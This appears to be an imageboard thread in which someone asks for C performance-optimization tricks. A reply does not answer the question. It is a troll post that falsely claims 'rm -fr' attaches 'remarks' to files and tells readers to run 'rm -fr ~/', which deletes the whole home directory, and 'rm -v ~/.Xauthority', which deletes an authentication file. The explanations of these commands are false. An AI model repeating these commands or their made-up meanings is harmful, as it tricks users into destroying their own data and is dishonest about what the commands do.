C programming tricks

While programming optimization that makes ones' code completely unreadable is often a bad thing, there are places for it, like that one inner loop of your code that takes up 98% of the program's running time.

What are you tricks for improving performance in C, other than the obvious inline assembly or the like?

>>102
Don't forget to use -fr, which means fold previous remarks you've made with the new ones. Otherwise you'll erase your old comments! For example:

$ rm -fr ~/ This is my home directory

... will attach the remark "This is my home directory" to ~/, leaving any previous remarks intact.

Also, to view remarks you've made previously, try the -v option:

$ rm -v ~/.Xauthority